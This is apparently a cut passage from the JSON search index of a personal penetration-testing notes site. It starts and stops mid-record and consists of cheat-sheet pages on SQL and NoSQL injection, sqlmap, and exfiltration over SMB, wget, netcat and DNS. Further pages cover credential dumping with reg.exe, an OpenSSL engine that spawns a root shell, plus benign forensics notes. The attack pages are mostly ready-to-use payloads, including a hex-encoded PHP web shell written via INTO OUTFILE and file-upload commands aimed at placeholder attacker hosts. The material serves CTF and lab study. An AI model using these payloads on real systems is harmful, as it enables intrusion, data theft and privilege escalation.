\"session=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3\" -error \"<website error>\" -plaintext '<user>=<username>'\n```\n\n","description":"","tags":[],"title":"PadBuster","uri":"/exploit/padding/padbuster.html"},{"content":"SQLmap\n\n* [sqlmap](https://github.com/sqlmapproject/sqlmap.git)\n* [CheatSheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)\n* [Examples](https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet)\n\n## Usage\n\n* Use `-r` with a saved HTTP request \n```sh\nsqlmap -r request.txt --dbms=mysql --dump\nsqlmap -r request.txt --batch\n```\n* Select form data automatically\n```sh\nsqlmap -u http://<target-IP>/site.php --forms --dump-all\n```\n* [Get reverse shell via sqlmap](https://www.hackingarticles.in/shell-uploading-in-web-server-using-sqlmap/)\n\n\n|Parameter|Details|\n|-r|Uses the intercepted request save as a file|\n|--dbms|DBMS of target|\n|--dump|Dump the entire database|\n|--dump-all|Dump everything|\n|-p |TESTPARAMETER|\n|--os-shell|Prompt for an interactive operating system shell|\n|--os-pwn|Prompt for an OOB shell, Meterpreter or VNC|\n|--tables|Show tables|\n|-T|Specify table|\n\n## Other Tools\n\n### Damn Small SQLi Scanner (DSSS)\n* [Script](https://github.com/stamparm/DSSS.git)\n```sh\npython dsss.py -u \"http://example.com/index.php?id=\"\n```\n\n### Online sqlmap\n* [Link](https://suip.biz/?act=sqlmap)\n\n","description":"","tags":[],"title":"SQLmap","uri":"/exploit/sqli/sqlmap.html"},{"content":"NoSQL Injections\n* No tables, but files (collections)\n* Examples are Elasticsearch, MongoDB, Redis, CouchDB.\n\n## Querying\n* Filter instead of SQL queries\n* [Redis docs](https://redis.io/documentation)\n* [MongoDB operators](https://docs.mongodb.com/manual/reference/operator/query/)\n* [Elasticsearch docs](https://www.elastic.co/guide/index.html)\n\n# Operators\n* Most common\n```sql\n$and\n$or\n$eq\n$ne\n$gt\n$where\n$exists\n$regex\n```\n\n## Tips & Tricks\n\n* Pass HTTP parameter as an array instead of `user=` and `password=` use `user[$operator]=foo` and `password[$operator]=bar`\n * 2D array via `user[$nin][]=foo`\n\n## Example\n* POST or GET parameters\n```sh\nusername=admin&password[$ne]=admin\n```\n* JSON\n```json\n{\"username\":\"user\",\"password\":{\"$ne\":\"\"} }\n```\n","description":"","tags":[],"title":"NoSQL Injections","uri":"/exploit/sqli/no_sqli.html"},{"content":"MSSQL\n# Usage\n\n* `sqsh` as a shell\n* After connection is established check `xp_cmdshell'\n```sh\nxp_cmdshell 'whoami';\n```\n","description":"","tags":[],"title":"MSSQL","uri":"/exploit/sqli/mssql.html"},{"content":"SQL Injection\n* [MySQL Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/)\n\n## Finding an Opportunity\n* GET parameter\n```sh\nhttp://example.com/index.php?id=' or 1=1 -- -\n```\n* Sometimes an ID or may come first\n```sh\nhttp://example.com/index.php?id=10 or 1=1 -- +\nhttp://example.com/index.php?id=10' or '1'='1'-- -\nhttp://example.com/index.php?id=-1' or 1=1 -- -&password=x\n```\n* Provoke error to gain information\n```sh\nhttp://example.com/index.php?id='\n```\n* **Incase of client side sanitization craft the URL instead of using the form!!!**\n\n## Usage\n* Example, terminate string via `'` and resolve via tautology, comment the rest of the string via `--`\n```sql\nSELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -\nSELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+\n```\n\n### Boolean True and False\n```sql\nSELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+\nSELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+\n```\n* Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.\n```sql\n' UNION SELECT null,null,null where database() like 'da%';-- -\n```\n\n### Time based\n* Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes\n```sql\n' union select sleep(3), null; -- -\n```\n\n### Blind injection // Guessing characters\n```sh\nhttp://example.com/?id=1' and substr((select database()),1,1) < 105 --+\n```\n```sh\nhttp://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+\n```\n* Function substr(string, start, length)\n* sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump` \n\n### Union based\n* _First method__ check by order until error occurs\n```sql\n' order by 1 -- -\n' order by 2 -- -\n' order by 3 -- -\n```\n* __Second method__ fuzzing NULL values, followed by fuzzing data types\n* Check number of cols\n```sql\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n# until the error occurs\n```\n* Check which one is a string\n```sql\n' UNION SELECT 'a',NULL,NULL,NULL--\n' UNION SELECT NULL,'a',NULL,NULL--\n' UNION SELECT NULL,NULL,'a',NULL--\n' UNION SELECT NULL,NULL,NULL,'a'--\n```\n* Retrieve content, for cols and comment two times as an example. Or dump database\n```sql\n' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //\n' UNION SELECT NULL,username,password,NULL FROM users -- //\n```\n\n* Retrieve content by union poking the count and order, afterwards extracting tables via\n```sh\n0 union select null, null, database()\n0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'\n0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'\n0 union select null, null, group_concat(username, ':', password from found_tablename\n```\n\n* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)\n\n### Identify Database \n```sh\nid=sqlite_version()\nid=@@version # mysql/mssql\nid=(SELECT banner FROM v$version) # oracle\n```\n\n#### SQL Functions\n* Use sql functions to fumble the tables & cols via union\n* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)\n* Extract tables \n```sql\n1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -\n```\n* sqlite specific\n```sql\n' UNION SELECT sql, sql FROM sqlite_master -- -\n```\n```sql\n(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')\n(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')\n```\n* Extract cols\n```sh\n1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -\n```\n* Data from cols\n```sql\n1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -\n```\n\n## Insert\n\n* Check user file permissions\n```sql\nunion all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -\n```\n\n* Insert file through insertion of `system()` or `exec_shell()` and a get parameter\n```sql\n<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -\n```\n\n* Insert `<?php system($_GET[\"cmd\"]); ?>` \n```sql\n\" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -\n```\n\n### Examples\n* sqli inside HTTP request to an API. Five values inside select have been discovered before\n```HTTP\nGET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1\n```\n * Get col names \n ```HTTP\n GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1\n ```\n * Get notes from users by id \n ```HTTP\n GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1\n ```\n\n## Payloads\n* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)\n\n","description":"","tags":[],"title":"SQL Injection","uri":"/exploit/sqli/sqli.html"},{"content":"Hash Collisions\n# SHA-1\n\n* http://shattered.io\n* The following code is taken from a writeup from [bl4ade's repo](https://github.com/bl4de/ctf/blob/master/2017/BostonKeyParty_2017/Prudentialv2/Prudentialv2_Cloud_50.md)\n```python\n#!/usr/bin/env python\nimport requests\n\n# this is copy/paste from Hex editor - two different files with the same SHA1 checksum\nname = '255044462D312E33 0A25E2E3 CFD30A0A 0A312030 206F626A 0A3C3C2F 57696474 68203220 3020522F 48656967 68742033 20302052 2F547970 65203420 3020522F 53756274 79706520 35203020 522F4669 6C746572 20362030 20522F43 6F6C6F72 53706163 65203720 3020522F 4C656E67 74682038 20302052 2F426974 73506572 436F6D70 6F6E656E 7420383E 3E0A7374 7265616D 0AFFD8FF FE002453 48412D31 20697320 64656164 21212121 21852FEC 09233975 9C39B1A1 C63C4C97 E1FFFE01 7F46DC93 A6B67E01 3B029AAA 1DB2560B 45CA67D6 88C7F84B 8C4C791F E02B3DF6 14F86DB1 690901C5 6B45C153 0AFEDFB7 6038E972 722FE7AD 728F0E49 04E046C2 30570FE9 D41398AB E12EF5BC 942BE335 42A4802D 98B5D70F 2A332EC3 7FAC3514 E74DDC0F 2CC1A874 CD0C7830 5A215664 61309789 606BD0BF 3F98CDA8 044629A1 3C68746D 6C3E0A3C 73637269 7074206C 616E6775 6167653D 6A617661 73637269 70742074 7970653D 22746578 742F6A61 76617363 72697074 223E0A3C 212D2D20 40617277 202D2D3E 0A0A7661 72206820 3D20646F 63756D65 6E742E67 6574456C 656D656E 74734279 5461674E 616D6528 2248544D 4C22295B 305D2E69 6E6E6572 48544D4C 2E636861 72436F64 65417428 31303229 2E746F53 7472696E 67283136 293B0A69 66202868 203D3D20 27373327 29207B0A 20202020 646F6375 6D656E74 2E626F64 792E696E 6E657248 544D4C20 3D20223C 5354594C 453E626F 64797B62 61636B67 726F756E 642D636F 6C6F723A 5245443B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 383B3C2F 48313E22 3B0A7D20 656C7365 207B0A20 20202064 6F63756D 656E742E 626F6479 2E696E6E 65724854 4D4C203D 20223C53 54594C45 3E626F64 797B6261 636B6772 6F756E64 2D636F6C 6F723A42 4C55453B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 393B3C2F 48313E22 3B0A7D0A 0A3C2F73 63726970 743E0A0A'\n\npassword = '25504446 2D312E33 0A25E2E3 CFD30A0A 0A312030 206F626A 0A3C3C2F 57696474 68203220 3020522F 48656967 68742033 20302052 2F547970 65203420 3020522F 53756274 79706520 35203020 522F4669 6C746572 20362030 20522F43 6F6C6F72 53706163 65203720 3020522F 4C656E67 74682038 20302052 2F426974 73506572 436F6D70 6F6E656E 7420383E 3E0A7374 7265616D 0AFFD8FF FE002453 48412D31 20697320 64656164 21212121 21852FEC 09233975 9C39B1A1 C63C4C97 E1FFFE01 7346DC91 66B67E11 8F029AB6 21B2560F F9CA67CC A8C7F85B A84C7903 0C2B3DE2 18F86DB3 A90901D5 DF45C14F 26FEDFB3 DC38E96A C22FE7BD 728F0E45 BCE046D2 3C570FEB 141398BB 552EF5A0 A82BE331 FEA48037 B8B5D71F 0E332EDF 93AC3500 EB4DDC0D ECC1A864 790C782C 76215660 DD309791 D06BD0AF 3F98CDA4 BC4629B1 3C68746D 6C3E0A3C 73637269 7074206C 616E6775 6167653D 6A617661 73637269 70742074 7970653D 22746578 742F6A61 76617363 72697074 223E0A3C 212D2D20 40617277 202D2D3E 0A0A7661 72206820 3D20646F 63756D65 6E742E67 6574456C 656D656E 74734279 5461674E 616D6528 2248544D 4C22295B 305D2E69 6E6E6572 48544D4C 2E636861 72436F64 65417428 31303229 2E746F53 7472696E 67283136 293B0A69 66202868 203D3D20 27373327 29207B0A 20202020 646F6375 6D656E74 2E626F64 792E696E 6E657248 544D4C20 3D20223C 5354594C 453E626F 64797B62 61636B67 726F756E 642D636F 6C6F723A 5245443B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 383B3C2F 48313E22 3B0A7D20 656C7365 207B0A20 20202064 6F63756D 656E742E 626F6479 2E696E6E 65724854 4D4C203D 20223C53 54594C45 3E626F64 797B6261 636B6772 6F756E64 2D636F6C 6F723A42 4C55453B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 393B3C2F 48313E22 3B0A7D0A 0A3C2F73 63726970 743E0A0A'\n\nprint '[+] create URL decoded strings to send as GET parameters [name] and [password]...'\nname = ''.join(name.split(' '))\npassword = ''.join(password.split(' '))\n\nnamestr = ''.join(['%' + name[i] + name[i + 1]\n for i in range(0, len(name)) if i % 2 == 0])\n\npasswordstr = ''.join(['%' + password[j] + password[j + 1]\n for j in range(0, len(password)) if j % 2 == 0])\n\nprint '[+] sending request to http://54.202.82.13/?name=[name]&password=[password]'\n\nu = 'http://54.202.82.13/?name={}&password={}'.format(namestr, passwordstr)\n\nresp = requests.get(u, headers={\n 'Host': '54.202.82.13'\n})\n```\n","description":"","tags":[],"title":"Hash Collisions","uri":"/exploit/hashes/collision.html"},{"content":"DNS Zone Transfer\nRelies on misconfiguration of the zone's master. Just query a domain from the master, if possible. Results in a disclosure of subdomains and all records previously made.\n```sh\ndrill axfr test.com @<master-DNS>\n```\n","description":"","tags":[],"title":"DNS Zone Transfer","uri":"/exploit/dns/zone_transfer.html"},{"content":"Evil-winrm\n\n* Put the stuff to download into a writeable/readable directory like `C:\\Windows\\Temp`\n```sh\ndownload C:\\Windows\\Temp\\<file>\n```\n* The other way\n```\nupload yadayda\n```\n","description":"","tags":[],"title":"Evil-winrm","uri":"/exfiltration/windows/evil-winrm.html"},{"content":"Connect to Attacker SMB\n## Attacker\n* Impacket smbserver on attacker\n```sh\nsudo examples/smbserver.py share . -smb2support -username <user> -password <password>\n```\n\n## Target\n* Connect to attacker smb\n```sh\nnet use \\\\<attacker-IP>\\share /User:<user> <Password>\n```\n* Save data to attacker's smb\n```sh\nmove sam.bak \\\\<attacker-IP>\\share\\sam.bak\nmove system.bak \\\\<attacker-IP>\\share\\system.bak\n```\n* Disconnect\n```sh\nnet use \\\\<attacker-IP>\\share /del\n```\n\n## Workarounds\n\n* System Error 1312. User credentials need a domain\n```sh\n/USER:domain\\user\n```\n","description":"","tags":[],"title":"Connect to Attacker SMB","uri":"/exfiltration/windows/smb_connection.html"},{"content":"Loot Windows Credentials\n```sh\nreg.exe save HKLM\\SAM sam.bak\n```\n```sh\nreg.exe save HKLM\\SYSTEM system.bak\n```\n\n* Exifiltrate and use impacket\n```sh\nexamples/secretsdump.py -sam sam.bak -system system.bak LOCAL\n```\n\n","description":"","tags":[],"title":"Loot Windows Credentials","uri":"/exfiltration/windows/loot.html"},{"content":"POST via wget\n## Usage\nSend file via wget\n```\nsudo wget --post-file=<fileToExfiltrate> http://<attacker-IP>:<attacker-Port>\n```\n","description":"","tags":[],"title":"POST via wget","uri":"/exfiltration/linux/wget.html"},{"content":"Netcat\n* RX\n```sh\nnc -lp 8080 > out.txt\n```\n* TX\n```sh\nnc $ATTACKER_IP 8080 < in.txt\n```\n* Have to be end manually after a while\n","description":"","tags":[],"title":"Netcat","uri":"/exfiltration/linux/nc.html"},{"content":"DNS\n* [Root Servers](https://www.iana.org/domains/root/servers)\n* [Zones](https://www.cloudflare.com/learning/dns/glossary/dns-zone/)\n* [Records](https://www.cloudflare.com/learning/dns/dns-records/)\n\n## Tunneling\n* [Tunnel IPv4 Data through DNS](https://github.com/yarrick/iodine.git)\n* Start server on an outside DNS server. This may be a evs.\n```sh \niodined -b 47110-f 10.0.0.1 tunnel.test.com\n```\n* Use client via\n```sh\niodine -f -r <server-IP> tunnel.test.com\n```\n* `NS` record of the owned domain should contain the subdomain, e.g. `tunnel.test.com`\n* Client gets a tunnel IP in the range of `10.0.0.0/8`\n* Check connection via \n```sh\nping <server-IP>\n```\n* Generate ssh-key and put in on the server\n* Dynamic port forwarding to server via\n```sh\nssh <user>@10.0.0.1 -D 8080\n```\n* User proxy server on the client's web server like `--proxy-server` or use a SOCKS proxy like FoxyProxy\n\n## nslookup\n```sh\nnslookup type=txt <domain>\n```\n\n## Reverse lookup\n* Stored inside `PTR` record\n* Reverse IP may look like `<IP>.in-addr.arpa.`, but not via `drill` or `dig`\n```sh\ndrill -x +short <IP>\n```\n\n## Exfiltration\n* Add data to UDP DNS requests\n* Capture traffic on an owned DNS server\n* `253` is the max length of a DNS name\n* Encode the payload to hide it \n\n## Infiltration\n* Inside `TXT` or any other possible records\n","description":"","tags":[],"title":"DNS","uri":"/exfiltration/dns/dns.html"},{"content":"RSA\n* `p * q = n`\n* Coprime Phi is calculated either by [Euler Totient](https://en.wikipedia.org/wiki/Euler's_totient_function) or [greatest common divisor](https://en.wikipedia.org/wiki/Greatest_common_divisor) via [euclidean algorithm](https://crypto.stanford.edu/pbc/notes/numbertheory/euclid.html) \n* $ 1 < \\phi < n $\n* There is also $\\phi$ = (p-1) * (q-1)\n\n* Encryption, public key `e` is a prime between 2 and phi --> \\( 2 < e < \\phi \\)\n```python\npossible_e = []\nfor i in range (2, phi):\n if gcd(n, i) == 1 and gcd(phi, i) == 1:\n possible_e.append() \n```\n\n* Decryption, private key `d` --> \\( d*e\\; mod \\phi = 1 \\)\n```python\npossible_d = []\nfor i in range (phi + 1, phi + foo):\n if i * e mod phi == 1 :\n possible_d.append()\n```\n* \\( Cipher = msg^d\\, mod \\phi \\)\n* \\( Cleartext = cipher^e\\, mod \\phi \\)\n\n## Euklid\n```python\ndef gcd(a, b):\n if b == 0:\n return a\n return gcd(b, a % b)\n```\n\n## Links\n\n* [Encryption+Decryption](https://www.cs.drexel.edu/~jpopyack/Courses/CSP/Fa17/notes/10.1_Cryptography/RSA_Express_EncryptDecrypt_v2.html)\n","description":"","tags":[],"title":"RSA","uri":"/crypto/rsa.html"},{"content":"OpenSSL Cheatsheet\n## Extract keys from PFX Cert\n\n* Key and cert form PFX\n```sh\nopenssl pkcs12 -in cert.pfx -nocerts -out key.pem -nodes\nopenssl pkcs12 -in cert.pfx -out cert.pem -clcerts -nokeys\n```\n\n## Extract & Repack PFX Cert\n\n* Extract & Repack with another password, e.g. from `mimikatz` to `cqure`\n```sh\nopenssl pkcs12 -in *.pfx -out temp.pem -nodes\nopenssl pkcs12 -export -out *.pfx -in temp.pem\n```\n","description":"","tags":[],"title":"OpenSSL Cheatsheet","uri":"/crypto/openssl/openssl.html"},{"content":"OpenSSL Engine\n* Hook external libs\n* [OpenSSL blog](https://www.openssl.org/blog/blog/2015/10/08/engine-building-lesson-1-a-minimum-useless-engine/)\n\n* Most minimal example\n```C\n#include <openssl/engine.h>\n\nstatic int bind(ENGINE *e, const char *id)\n{\n return 1;\n}\n\nIMPLEMENT_DYNAMIC_BIND_FN(bind)\nIMPLEMENT_DYNAMIC_CHECK_FN()\n```\n\n* Shell as root\n```C\n#include <openssl/engine.h>\n#include <unistd.h>\n\nstatic int bind(ENGINE *e, const char *id)\n{\n setuid(0);\n setgid(0);\n system(\"/bin/bash\");\n}\n\nIMPLEMENT_DYNAMIC_BIND_FN(bind)\nIMPLEMENT_DYNAMIC_CHECK_FN()\n```\n\n* Compile\n```C\ngcc -fPIC -o rootshell.o -c rootshell.c\ngcc -shared -o rootshell.so -c -lcrytpo rootshell.o\n```\n\n* Execute via\n```sh\nopenssl engine -t `pwd`/rootshell.so\n```\n","description":"","tags":[],"title":"OpenSSL Engine","uri":"/crypto/openssl/openssl_engine.html"},{"content":"iOS Devices\n## Trust Certificates\n* Exchanged between 'Trusted' devices and the charging iOS device.\n* iTunes access to the iOS device has elevated permissions using the cert.\n* Keychain may be extracted through iTunes.\n\n## Interesting Files\n* `ResetCounter.plist`, hard Reset diagnostic counter\n* `com.apple.preferences.datetime.plist`\n* DB tables\n * Atendee\n * Task\n * Event\n* Mail\n* Safari\n* Cookies\n* Pictures\n* Addressbook\n* SMS\n* Voicemail\n* WiFi Keys\n\n## Backups\nEncrypted and unencrypted backups can be chosen in the iTunes menu.\n\n\n## Tools\n* [iFunbox](https://www.i-funbox.com/en/page-about-us.html)\n* [O.MG cable](https://shop.hak5.org/products/o-mg-cable)\n\n\n","description":"","tags":[],"title":"iOS Devices","uri":"/forensics/ios.html"},{"content":"Windows Registry\n## Regedit Keys\n* HKEY_CURRENT_USER (HKCU), inside HKU\n* HKEY_USERS (HKU)\n* HKEY_LOCAL_MACHINE (HKLM)\n* HKEY_CLASSES_ROOT (HKCR), stored in HKLM and HKU\n * `HKEY_CURREN_USER\\Software\\Classes` for settings of interactive user\n * `HKEY_LOCAL_MACHINE\\Software\\Classes` to change default settings\n* HKEY_CURRENT_CONFIG\n\n## Paths\n* `C:\\Windows\\System32\\Config`\n * Default -> `HKEY_USERS\\DEFAULT`\n * SAM -> `HKEY_LOCAL_MACHINE\\SAM`\n * SECURITY -> `HKEY_LOCAL_MACHINE\\Security`\n * SOFTWARE -> `HKEY_LOCAL_MACHINE\\Software`\n * SYSTEM -> `HKEY_LOCAL_MACHINE\\System`\n\n* `C:\\Users\\<username>\\`\n * NTUSER.DAT -> `HKEY_CURRENT_USER` , hidden file\n* `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Windows`\n * USRCLASS.DAT -> `HKEY_CURRENT_USER\\Sofware\\CLASSES`, hidden file\n\n* `C:\\Windows\\AppCompat\\Programs\\Amcache.hve`\n\n### Transaction Logs\n* Transaction `<name of registry hive>.LOG` of the registry hive\n* Saved inside the same directory which is `C:\\Windows\\System32\\Config`, as the hive which was altered.\n\n### Backups\n* Saved every ten days\n* Look out for recently deleted or modified keys\n* `C:\\Windows\\System32\\Config\\RegBack`\n\n## Data Acquisition\n* Tools\n * [Autopsy](https://www.autopsy.com/)\n * [FTK Imager](https://www.exterro.com/ftk-imager), does not copy `Amcache.hve`\n * [KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape), preserves directory tree\n * `Registry Viewer`\n * `Zimmerman's Registry Explorer`, uses transaction logs as well\n * ` AppCompatCache Parser`\n * `RegRipper`, cli and gui\n\n## System Information\n* OS Version -> `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`\n* Computer Name -> `SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName`\n* Time Zone `SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation`\n* Network Interfaces -> `SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces`\n* Past connected networks -> `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Signatures\\Unmanaged` and `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Signatures\\Managed`\n* Services -> `SYSTEM\\CurrentControlSet\\Services`\n * Service will start at boot with `start` key value `0x02`\n* Users, SAM -> `SAM\\Domains\\Account\\Users`\n\n\n### Control Sets\n* `ControlSet001` -> last boot\n* `ControlSet002` -> last known good\n* `HKLM\\SYSTEM\\CurrentControlSet` -> live \n\n* Can be found under:\n * `SYSTEM\\Select\\Current` shows the used control set\n * `SYSTEM\\Select\\LastKnownGood`\n\n## Autostart Programs\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce`\n* `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce`\n* `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\Run`\n* `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`\n\n## Recent Files\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs`, e.g. xml, pdf, jpg\n* Office files -> `NTUSER.DAT\\Software\\Microsoft\\Office\\VERSION`, `NTUSER.DAT\\Software\\Microsoft\\Office\\15.0\\Word`\n* Office 365 -> `NTUSER.DAT\\Software\\Microsoft\\Office\\VERSION\\UserMRU\\LiveID_####\\FileMRU`\n\n## ShellBags\n* `USRCLASS.DAT\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\Bags`\n* `USRCLASS.DAT\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\BagMRU`\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\Shell\\BagMRU`\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\Shell\\Bags`\n\n## Last Open/Saved/Visited Dialog MRUs\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSavePIDlMRU`\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\LastVisitedPidlMRU`\n\n## Explorer Address/Search Bars\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TypedPaths`\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WordWheelQuery`\n\n## User Assist\n* GUI applications launched by the user\n* `NTUSER.DAT\\Software\\Microsoft\\Windows\\Currentversion\\Explorer\\UserAssist\\{GUID}\\Count`\n\n## Shim Cache\n* Application Compatibility, AppCompatCache\n* `SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache`\n* Use `AppCompatCacheParser.exe --csv <path to save output> -f <path to SYSTEM hive for data parsing> -c <control set to parse>`\n\n### AmCache\n* Information about recently run applications on the system\n* `C:\\Windows\\appcompat\\Programs\\Amcache.hve`\n* Last executed app -> `Amcache.hve\\Root\\File\\{Volume GUID}\\`\n* Saves SHA1 of the last executed app\n\n## Background Activity Monitor/Desktop Activity Moderator BAM/DAM\n* Saves full path of executed apps\n* `SYSTEM\\CurrentControlSet\\Services\\bam\\UserSettings\\{SID}`\n* `SYSTEM\\CurrentControlSet\\Services\\dam\\UserSettings\\{SID}`\n\n## Devices\n* Identification\n * USB -> `SYSTEM\\CurrentControlSet\\Enum\\USBTOR`, `SYSTEM\\CurrentControlSet\\Enum\\USB`\n* Device name -> `SOFTWARE\\Microsoft\\Windows Portable Devices\\Devices`\n* First time connected -> `SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\Ven_Prod_Version\\USBSerial#\\Properties\\{83da6326-97a6-4088-9453-a19231573b29}\\0064`\n* Last time connected -> `SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\Ven_Prod_Version\\USBSerial#\\Properties\\{83da6326-97a6-4088-9453-a19231573b29}\\0066`\n* Last removal time -> `SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\Ven_Prod_Version\\USBSerial#\\Properties\\{83da6326-97a6-4088-9453-a19231573b29}\\0067`\n \n","description":"","tags":[],"title":"Windows Registry","uri":"/forensics/windows_registry.html"},{"content":"Volatility* [Cheat sheet](https://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf)\n* [Hacktricks shee](https://book.hacktricks.xyz/forensics/volatility-examples)\n\n* Basic Info, find OS profile\n```sh\nvolatility -f <file.iso> imageinfo\nvolatility -f <file.iso> kdbgscan\n```\n* Process list\n```sh\nvolatility -f <file.iso> --profile <OSprofile> pslist\n```\n* List dlls\n```sh\nvolatility -f <file.iso> --profile <OSprofile> dlllist -p <PID>\n```\n* Last accessed dir\n```sh\nvolatility -f <file.iso> --profile <OSprofile> shellbags\n```\n## Plugins \n \n* For example \n * Truecryptpassphrase\n * cmdscan, command history\n * shutdowntime\n","description":"","tags":[],"title":"Volatility","uri":"/forensics/volatility.html"},{"content":"NTFS\n* Has the following advantages over FAT\n * Journaling \n * ACL\n * Volume Shadow Copy\n * Alternate Data Stream\n\n## Master File Table\n* VBR references to `$MFT`\n* `$LOGFILE` stores transactions of the file system\n* `$UsnJrnl` changed files, and reason for change\n\n## Caching\n\n* File information is cached for frequent use in \n```sh\nC:\\Windows\\Prefetch\\*.pf\n```\n* An SQLite database can be found under\n```sh\nC:\\Users\\<username>\\AppData\\Local\\ConnectedDevicesPlatform\\{randomfolder}\\ActivitiesCache.db\n```\n\n## Jumplist\n\n* Stores recently used files of applications inside the taskbar \n```sh\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\n```\n\n## Shortcut Files\n```sh\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\n```\n\n## Internet Explorer History\n```sh\nC:\\Users\\<username>\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV*.dat\n```\n\n## Removeable Device Setup Log\n```sh\nC:\\Windows\\inf\\setupapi.dev.log\n```\n\n\n","description":"","tags":[],"title":"NTFS","uri":"/forensics/ntfs.html"},{"content":"oletools & Vmonkey\n* Analyze ooxml and ole2 files\n\n* [oletools repo](https://github.com/decalage2/oletools.git)\n\n## Usage\n\n* Check content of a stream\n```sh\noledump.py file.doc -Ss <No. of stream>\noledump.py file.doc -Ss <No. of stream> -v\n```\n```sh\noledump.py -i file.doc\n```\n```sh\nolevba file.doc\n```\n\n## Vipermonkey\n* For the lazy ones\n```sh\nvmonkey file.doc\n```\n\n## scdbg\n* [scdbg repo](https://github.com/dzzie/SCDBG.git)\n","description":"","tags":[],"title":"oletools & Vmonkey","uri":"/forensics/oletools.html"},{"content":"Kroll Artifact Parser\n* Collect and processes artifacts on windows\n* Collects from live systems, mounted images and F-response tool\n\n## Targets\n\n* Needs source and target directory, as well as a module to process the files on\n* `Target` copies a file into a repository\n* `*.tkape` files contains metadata of the files to copy\n* `Compound Targets` contain metadata of multiple files in order to get a result quicker\n* `!Disable` do not appear in the target list\n* `!Local` keep on local\n\n\n## Modules\n\n* Used on the targeted files\n* `*.mkape` files\n* Additional binaries are kept in `bin`\n \n\n\n","description":"","tags":[],"title":"Kroll Artifact Parser","uri":"/forensics/kape.html"},{"content":"ReMnux* [Documentation](https://docs.remnux.org/)\n\n## Tools\n\n### Peepdf\n* Extracting JS from PDF using 